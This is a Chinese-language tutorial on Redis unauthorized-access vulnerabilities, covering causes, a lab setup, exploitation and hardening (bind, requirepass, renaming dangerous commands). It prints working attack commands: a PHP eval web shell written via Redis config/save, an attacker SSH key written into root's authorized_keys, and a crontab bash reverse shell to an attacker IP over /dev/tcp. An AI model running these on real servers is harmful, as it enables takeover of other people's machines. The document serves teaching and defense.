Redis未授权访问漏洞分析
字数 1105 2025-08-15 21:32:50

Redis未授权访问漏洞分析与防护指南

漏洞概述

Redis未授权访问漏洞是一种高危安全风险,当Redis服务配置不当,直接暴露在公网且未设置访问控制时,攻击者可以无需认证直接访问Redis服务,导致数据泄露、服务器被控制等严重后果。

漏洞成因

  1. 默认绑定配置:Redis默认绑定在0.0.0.0:6379,监听所有网络接口
  2. 防火墙缺失:未配置不信任IP禁止访问策略
  3. 认证缺失:未设置密码认证(默认空密码)
  4. 权限过高:Redis服务以root身份运行

漏洞危害

  1. 敏感信息泄露:攻击者可读取Redis中存储的所有数据
  2. 数据破坏:使用FLUSHALL命令删除所有数据
  3. 代码执行
    • 通过EVAL执行Lua代码
    • 利用数据备份功能写入后门文件
  4. 服务器控制
    • 写入SSH公钥文件实现免密登录(Redis以root运行时)
    • 通过crontab设置定时任务反弹shell

漏洞复现环境搭建

受害机(Ubuntu)配置

  1. 安装Redis:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar -xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
  1. 解决依赖问题:
# 解决"jemalloc/jemalloc.h: No such file or directory"错误
sudo apt-get install gcc

# 解决tcl版本问题
sudo apt-get install tcl

# 重新编译
make distclean && make
  1. 基本配置:
# 将redis-server和redis-cli复制到/usr/bin
cp src/redis-server /usr/bin/
cp src/redis-cli /usr/bin/

# 复制配置文件
cp redis.conf /etc/

# 启动Redis服务
redis-server /etc/redis.conf
  1. 确保配置文件中bind 127.0.0.1被注释掉(默认配置)

漏洞利用方式

1. 利用Redis写入Web Shell

前提条件

  • 可通过redis-cli远程登录
  • 知道Web绝对路径且有写权限
  • Web服务器正在运行

攻击步骤

# 连接到目标Redis
redis-cli -h 192.168.25.130

# 设置Web Shell路径
config set dir /var/www/html

# 设置数据库文件名
config set dbfilename shell.php

# 写入PHP代码
set test "<?php @eval($_POST['cmd']);?>"

# 保存
save

验证:访问http://192.168.25.130/shell.php执行命令

2. 利用SSH公钥获取root权限

前提条件

  • Redis以root身份运行
  • 目标服务器已安装SSH服务

攻击步骤

  1. 攻击机生成SSH密钥对:
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > test.txt
  1. 将公钥写入目标Redis:
cat test.txt | redis-cli -h 192.168.25.130 -x set crack
  1. 配置Redis备份路径为SSH密钥目录:
redis-cli -h 192.168.25.130
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
  1. SSH免密登录:
ssh -i ~/.ssh/id_rsa root@192.168.25.130

3. 利用Crontab反弹Shell

攻击步骤

  1. 攻击机监听端口:
nc -lvnp 4444
  1. 设置Redis备份路径为crontab目录:
redis-cli -h 192.168.25.130
config set dir /var/spool/cron/
config set dbfilename root
set test "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.25.128/4444 0>&1\n\n"
save
  1. 等待连接建立(约1分钟)

防护方案

  1. 网络层防护

    • 修改redis.conf文件,绑定指定IP:
      bind 127.0.0.1
      
    • 配置防火墙规则,限制访问IP
  2. 认证防护

    • redis.conf中设置强密码:
      requirepass yourstrongpassword
      
    • 定期更换密码
  3. 权限控制

    • 创建专用Redis运行账户:
      groupadd -r redis && useradd -r -g redis redis
      
    • 禁止Redis账户远程登录
  4. 其他安全措施

    • 修改默认端口(非6379)
    • 禁用危险命令:
      rename-command FLUSHALL ""
      rename-command CONFIG ""
      rename-command EVAL ""
      
    • 启用保护模式:
      protected-mode yes
      
    • 定期更新Redis到最新版本
  5. 监控与审计

    • 监控Redis日志
    • 设置命令执行审计
    • 定期检查服务器异常连接

总结

Redis未授权访问漏洞危害严重,可导致服务器完全沦陷。通过合理配置Redis服务、设置访问控制、降低运行权限等措施可有效防范此类风险。管理员应定期检查Redis配置,确保安全措施到位。

Redis未授权访问漏洞分析与防护指南 漏洞概述 Redis未授权访问漏洞是一种高危安全风险,当Redis服务配置不当,直接暴露在公网且未设置访问控制时,攻击者可以无需认证直接访问Redis服务,导致数据泄露、服务器被控制等严重后果。 漏洞成因 默认绑定配置 :Redis默认绑定在 0.0.0.0:6379 ,监听所有网络接口 防火墙缺失 :未配置不信任IP禁止访问策略 认证缺失 :未设置密码认证(默认空密码) 权限过高 :Redis服务以root身份运行 漏洞危害 敏感信息泄露 :攻击者可读取Redis中存储的所有数据 数据破坏 :使用 FLUSHALL 命令删除所有数据 代码执行 : 通过 EVAL 执行Lua代码 利用数据备份功能写入后门文件 服务器控制 : 写入SSH公钥文件实现免密登录(Redis以root运行时) 通过crontab设置定时任务反弹shell 漏洞复现环境搭建 受害机(Ubuntu)配置 安装Redis: 解决依赖问题: 基本配置: 确保配置文件中 bind 127.0.0.1 被注释掉(默认配置) 漏洞利用方式 1. 利用Redis写入Web Shell 前提条件 : 可通过redis-cli远程登录 知道Web绝对路径且有写权限 Web服务器正在运行 攻击步骤 : 验证:访问 http://192.168.25.130/shell.php 执行命令 2. 利用SSH公钥获取root权限 前提条件 : Redis以root身份运行 目标服务器已安装SSH服务 攻击步骤 : 攻击机生成SSH密钥对: 将公钥写入目标Redis: 配置Redis备份路径为SSH密钥目录: SSH免密登录: 3. 利用Crontab反弹Shell 攻击步骤 : 攻击机监听端口: 设置Redis备份路径为crontab目录: 等待连接建立(约1分钟) 防护方案 网络层防护 : 修改 redis.conf 文件,绑定指定IP: 配置防火墙规则,限制访问IP 认证防护 : 在 redis.conf 中设置强密码: 定期更换密码 权限控制 : 创建专用Redis运行账户: 禁止Redis账户远程登录 其他安全措施 : 修改默认端口(非6379) 禁用危险命令: 启用保护模式: 定期更新Redis到最新版本 监控与审计 : 监控Redis日志 设置命令执行审计 定期检查服务器异常连接 总结 Redis未授权访问漏洞危害严重,可导致服务器完全沦陷。通过合理配置Redis服务、设置访问控制、降低运行权限等措施可有效防范此类风险。管理员应定期检查Redis配置,确保安全措施到位。